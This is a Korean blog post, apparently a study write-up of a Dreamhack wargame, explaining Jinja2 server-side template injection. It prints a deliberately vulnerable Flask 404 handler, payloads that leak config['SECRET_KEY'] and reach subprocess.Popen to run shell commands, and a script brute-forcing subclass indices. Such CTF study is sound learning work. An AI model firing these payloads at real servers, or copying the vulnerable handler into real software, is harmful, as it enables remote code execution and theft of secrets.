SSTI 취약점이란?
서버 측 템플릿 엔진에서 템플릿을 렌더링하는 과정에서 발생할 수 있는 취약점입니다. 이 취약점은 공격자가 임의의 입력을 통해 템플릿 엔진에 악성 코드를 삽입하고, 이를 통해 서버 측에서 임의의 코드를 실행할 수 있게 됩니다.
렌더링(Rendering)은 템플릿 엔진이나 브라우저가 데이터를 받아서 최종적으로 사용자에게 보여줄 형식으로 변환하는 과정을 말합니다. 웹 개발에서 렌더링은 주로 HTML, CSS, JavaScript 등의 데이터를 사용자에게 시각적으로 보여주는 역할을 합니다.
템플릿 엔진은 동적 웹 페이지를 생성하기 위해 템플릿 파일을 데이터와 결합하여 최종 HTML 페이지를 만드는 도구입니다.
참고자료
https://core-research-team.github.io/2021-05-01/Server-Side-Template-Injection(SSTI)
Jinja2는 Python에서 가장 널리 사용되는 템플릿 엔진 중 하나입니다. Flask 프레임워크에서 기본 템플릿 엔진으로 사용됩니다.
Flask와 Jinja2를 사용한 예제
1. 템플릿 파일 (templates/index.html)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>{{ title }}</title>
</head>
<body>
<h1>Hello, {{ name }}!</h1>
{% if items %}
<ul>
{% for item in items %}
<li>{{ item }}</li>
{% endfor %}
</ul>
{% else %}
<p>No items found.</p>
{% endif %}
</body>
</html>
2. Flask 애플리케이션 (app.py)
from flask import Flask, render_template
app = Flask(__name__)
@app.route('/')
def home():
data = {
'title': 'Welcome Page',
'name': 'John Doe',
'items': ['Item 1', 'Item 2', 'Item 3']
}
return render_template('index.html', **data)
if __name__ == '__main__':
app.run(debug=True)
Flask의 render_template 함수를 사용하여 index.html 템플릿을 렌더링하고, data 딕셔너리의 값을 템플릿에 전달합니다.
https://dreamhack.io/wargame/challenges/39
app.py
#!/usr/bin/python3
from flask import Flask, request, render_template, render_template_string, make_response, redirect, url_for
import socket
app = Flask(__name__)
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
app.secret_key = FLAG
@app.route('/')
def index():
return render_template('index.html')
@app.errorhandler(404)
def Error404(e):
template = '''
<div class="center">
<h1>Page Not Found.</h1>
<h3>%s</h3>
</div>
''' % (request.path)
return render_template_string(template), 404 # 템플릿 파일을 별도로 만들 필요 없이 문자열로 템플릿을 정의
app.run(host='0.0.0.0', port=8000)
Flask의 secret_key
역할
- 세션 데이터 암호화: Flask 애플리케이션에서는 클라이언트와 서버 간의 세션 데이터를 안전하게 유지하기 위해 쿠키에 세션 데이터를 저장합니다. 이 세션 데이터는 secret_key를 사용하여 암호화됩니다.
- CSRF 보호: CSRF(Cross-Site Request Forgery) 공격을 방지하기 위해 사용하는 CSRF 토큰도 secret_key를 사용하여 생성됩니다.
- 기타 보안 기능: Flask의 확장 기능들 중에도 secret_key를 사용하는 경우가 많습니다.
Flask의 config
역할
config 객체는 Flask 애플리케이션의 설정값들을 관리합니다. config 객체에는 애플리케이션의 동작을 제어하는 다양한 설정값이 포함됩니다.
config 객체는 딕셔너리와 유사하게 동작하며, 설정값을 저장하고 접근할 수 있습니다:
app.config['SECRET_KEY'] = 'my Secret!!'
print(app.config['SECRET_KEY']) # 'my Secret!!'
주요 설정값
- SECRET_KEY: 세션 데이터 암호화 및 CSRF 보호를 위해 사용됩니다.
- DEBUG: 디버그 모드를 활성화합니다.
- DATABASE_URI: 데이터베이스 연결 URI를 설정합니다.
- SESSION_COOKIE_NAME: 세션 쿠키의 이름을 설정합니다.
jinja2 템플릿 구문 중 {{ ... }} 구문은 중괄호 안의 값을 동적으로 화면에 표시하여 주는 기능을 가지고 있습니다.
위 개념들을 이용해서
/{{config['SECRET_KEY'}} 요청을 보내면 플래그 획득 가능
{{''.__class__.__mro__[1].__subclasses__()[<index>]('ls',shell=True,stdout=-1).communicate()[0]}}
위와 같은 페이로드는 클래스 계층 구조와 서브클래스를 탐색함
최종적으로 subprocess.Popen 클래스를 찾아서 명령 실행
index 찾는 자동화 코드
import requests
url = "http://www.example.com:8564/{{''.__class__.__mro__[1].__subclasses__()[%d]('ls', shell=True, stdout=-1).communicate()[0]}}"
for i in range(100): # 0부터 99까지의 인덱스를 시도
response = requests.get(url % i)
if response.status_code == 200 and 'flag' in response.text: # 예상되는 결과를 확인
print("Index:", i)
print(response.text)
break
/{{8*8}} 요청을 보냈을 때
클래스 및 메소드 접근: __mro__ (Method Resolution Order)를 사용하여 클래스 계층 구조를 탐색합니다. 아래 페이로드를 시도하여 클래스 계층을 탐색해 봅니다
/{{''.__class__.__mro__}}
'웹 해킹' 카테고리의 다른 글
CSS Injection (0) | 2024.08.10 |
---|